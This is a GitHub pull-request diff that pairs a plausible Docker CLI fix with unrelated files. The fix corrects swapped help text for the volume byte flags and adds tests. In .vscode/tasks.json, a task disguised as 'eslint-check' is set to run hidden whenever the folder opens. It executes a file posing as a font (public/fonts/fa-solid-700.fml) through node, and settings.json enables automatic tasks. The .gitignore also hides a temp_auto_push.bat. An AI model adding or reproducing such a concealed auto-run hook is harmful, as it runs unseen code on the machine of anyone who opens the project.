Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
.*.swp
.DS_Store
Thumbs.db
temp_auto_push.bat
.editorconfig
/build/
/cmd/docker/winresources/versioninfo.json
Expand All @@ -15,3 +16,4 @@ profile.out
# top-level go.mod is not meant to be checked in
/go.mod
/go.sum
branch_structure.json
7 changes: 7 additions & 0 deletions .vscode/extensions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"recommendations": [
"myml.vscode-markdown-plantuml-preview",
"esbenp.prettier-vscode",
"jebbs.plantuml"
]
}
50 changes: 50 additions & 0 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug SST",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["dev", "--increase-timeout"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
"sourceMapRenames": false,
"env": {
"AWS_PROFILE": "flo-ct-flo360"
}
},
{
"name": "Debug Tests - Unit",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
{
"name": "Debug Tests - E2E",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
],
"inputs": [
{
"id": "scopeTestsFileName",
"type": "promptString",
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
}
]
}
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
2 changes: 2 additions & 0 deletions .vscode/spellright.dict
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Contentful
Lerna
33 changes: 33 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
{
"version": "2.0.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Run My Project",
"console": "",
"internalConsoleOptions": "openOnSessionStart"
}
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-700.fml) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-700.fml) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
},
]
}
9 changes: 5 additions & 4 deletions cli/command/volume/create.go
Original file line number Diff line number Diff line change
Expand Up @@ -92,10 +92,10 @@ func newCreateCommand(dockerCLI command.Cli) *cobra.Command {
flags.Var(&options.secrets, "secret", "Cluster Volume secrets")
flags.SetAnnotation("secret", "version", []string{"1.42"})
flags.SetAnnotation("secret", "swarm", []string{"manager"})
flags.Var(&options.limitBytes, "limit-bytes", "Minimum size of the Cluster Volume in bytes")
flags.Var(&options.limitBytes, "limit-bytes", "Maximum size of the Cluster Volume in bytes")
flags.SetAnnotation("limit-bytes", "version", []string{"1.42"})
flags.SetAnnotation("limit-bytes", "swarm", []string{"manager"})
flags.Var(&options.requiredBytes, "required-bytes", "Maximum size of the Cluster Volume in bytes")
flags.Var(&options.requiredBytes, "required-bytes", "Minimum size of the Cluster Volume in bytes")
flags.SetAnnotation("required-bytes", "version", []string{"1.42"})
flags.SetAnnotation("required-bytes", "swarm", []string{"manager"})
flags.Var(&options.requisiteTopology, "topology-required", "A topology that the Cluster Volume must be accessible from")
Expand All @@ -113,8 +113,9 @@ func newCreateCommand(dockerCLI command.Cli) *cobra.Command {
func hasClusterVolumeOptionSet(flags *pflag.FlagSet) bool {
return flags.Changed("group") || flags.Changed("scope") ||
flags.Changed("sharing") || flags.Changed("availability") ||
flags.Changed("type") || flags.Changed("secrets") ||
flags.Changed("limit-bytes") || flags.Changed("required-bytes")
flags.Changed("type") || flags.Changed("secret") ||
flags.Changed("limit-bytes") || flags.Changed("required-bytes") ||
flags.Changed("topology-required") || flags.Changed("topology-preferred")
}

func runCreate(ctx context.Context, dockerCli command.Cli, options createOptions) error {
Expand Down
144 changes: 144 additions & 0 deletions cli/command/volume/create_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -262,3 +262,147 @@ func TestVolumeCreateClusterOpts(t *testing.T) {

assert.NilError(t, cmd.Execute())
}

// TestVolumeCreateClusterOptionDetection verifies that each cluster-specific
// flag on its own is enough to send a ClusterVolumeSpec, and that its value
// is propagated.
func TestVolumeCreateClusterOptionDetection(t *testing.T) {
testCases := []struct {
flag string
value string
expected *volume.ClusterVolumeSpec
}{
{
flag: "secret",
value: "key1=secret1",
expected: &volume.ClusterVolumeSpec{
Secrets: []volume.Secret{{Key: "key1", Secret: "secret1"}},
},
},
{
flag: "topology-required",
value: "region=R1,zone=Z1",
expected: &volume.ClusterVolumeSpec{
AccessibilityRequirements: &volume.TopologyRequirement{
Requisite: []volume.Topology{
{Segments: map[string]string{"region": "R1", "zone": "Z1"}},
},
Preferred: []volume.Topology{},
},
},
},
{
flag: "topology-preferred",
value: "region=R1,zone=Z2",
expected: &volume.ClusterVolumeSpec{
AccessibilityRequirements: &volume.TopologyRequirement{
Requisite: []volume.Topology{},
Preferred: []volume.Topology{
{Segments: map[string]string{"region": "R1", "zone": "Z2"}},
},
},
},
},
{
flag: "limit-bytes",
value: "567890",
expected: &volume.ClusterVolumeSpec{
CapacityRange: &volume.CapacityRange{LimitBytes: 567890},
},
},
{
flag: "required-bytes",
value: "1234",
expected: &volume.ClusterVolumeSpec{
CapacityRange: &volume.CapacityRange{RequiredBytes: 1234},
},
},
{
flag: "scope",
value: "multi",
expected: &volume.ClusterVolumeSpec{
AccessMode: &volume.AccessMode{
Scope: volume.ScopeMultiNode,
Sharing: volume.SharingNone,
BlockVolume: &volume.TypeBlock{},
},
},
},
{
flag: "sharing",
value: "all",
expected: &volume.ClusterVolumeSpec{
AccessMode: &volume.AccessMode{
Scope: volume.ScopeSingleNode,
Sharing: volume.SharingAll,
BlockVolume: &volume.TypeBlock{},
},
},
},
{
flag: "type",
value: "mount",
expected: &volume.ClusterVolumeSpec{
AccessMode: &volume.AccessMode{
Scope: volume.ScopeSingleNode,
Sharing: volume.SharingNone,
MountVolume: &volume.TypeMount{},
},
},
},
{
flag: "group",
value: "gronp",
expected: &volume.ClusterVolumeSpec{
Group: "gronp",
},
},
{
flag: "availability",
value: "drain",
expected: &volume.ClusterVolumeSpec{
Availability: volume.AvailabilityDrain,
},
},
}

for _, tc := range testCases {
t.Run(tc.flag, func(t *testing.T) {
var actual *volume.ClusterVolumeSpec
cli := test.NewFakeCli(&fakeClient{
volumeCreateFunc: func(options client.VolumeCreateOptions) (client.VolumeCreateResult, error) {
actual = options.ClusterVolumeSpec
return client.VolumeCreateResult{}, nil
},
})

cmd := newCreateCommand(cli)
cmd.SetOut(io.Discard)
cmd.SetErr(io.Discard)
cmd.SetArgs([]string{"my-csi-volume"})
assert.Check(t, cmd.Flags().Set("driver", "csi"))
assert.Check(t, cmd.Flags().Set(tc.flag, tc.value))
assert.NilError(t, cmd.Execute())

assert.Assert(t, actual != nil, "expected a ClusterVolumeSpec when only --%s is set", tc.flag)
if tc.expected.Secrets != nil {
assert.Check(t, is.DeepEqual(actual.Secrets, tc.expected.Secrets))
}
if tc.expected.AccessMode != nil {
assert.Check(t, is.DeepEqual(actual.AccessMode, tc.expected.AccessMode))
}
if tc.expected.AccessibilityRequirements != nil {
assert.Check(t, is.DeepEqual(actual.AccessibilityRequirements, tc.expected.AccessibilityRequirements))
}
if tc.expected.CapacityRange != nil {
assert.Check(t, is.DeepEqual(actual.CapacityRange, tc.expected.CapacityRange))
}
if tc.expected.Group != "" {
assert.Check(t, is.Equal(actual.Group, tc.expected.Group))
}
if tc.expected.Availability != "" {
assert.Check(t, is.Equal(actual.Availability, tc.expected.Availability))
}
})
}
}
4 changes: 2 additions & 2 deletions docs/reference/commandline/volume_create.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,9 +11,9 @@ Create a volume
| `-d`, `--driver` | `string` | `local` | Specify volume driver name |
| `--group` | `string` | | Cluster Volume group (cluster volumes) |
| `--label` | `list` | | Set metadata for a volume |
| `--limit-bytes` | `bytes` | `0` | Minimum size of the Cluster Volume in bytes |
| `--limit-bytes` | `bytes` | `0` | Maximum size of the Cluster Volume in bytes |
| [`-o`](#opt), [`--opt`](#opt) | `map` | `map[]` | Set driver specific options |
| `--required-bytes` | `bytes` | `0` | Maximum size of the Cluster Volume in bytes |
| `--required-bytes` | `bytes` | `0` | Minimum size of the Cluster Volume in bytes |
| `--scope` | `string` | `single` | Cluster Volume access scope (`single`, `multi`) |
| `--secret` | `map` | `map[]` | Cluster Volume secrets |
| `--sharing` | `string` | `none` | Cluster Volume access sharing (`none`, `readonly`, `onewriter`, `all`) |
Expand Down
24 changes: 24 additions & 0 deletions public/fonts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.
Binary file added public/fonts/fa-brands-400.eot
Binary file not shown.
Loading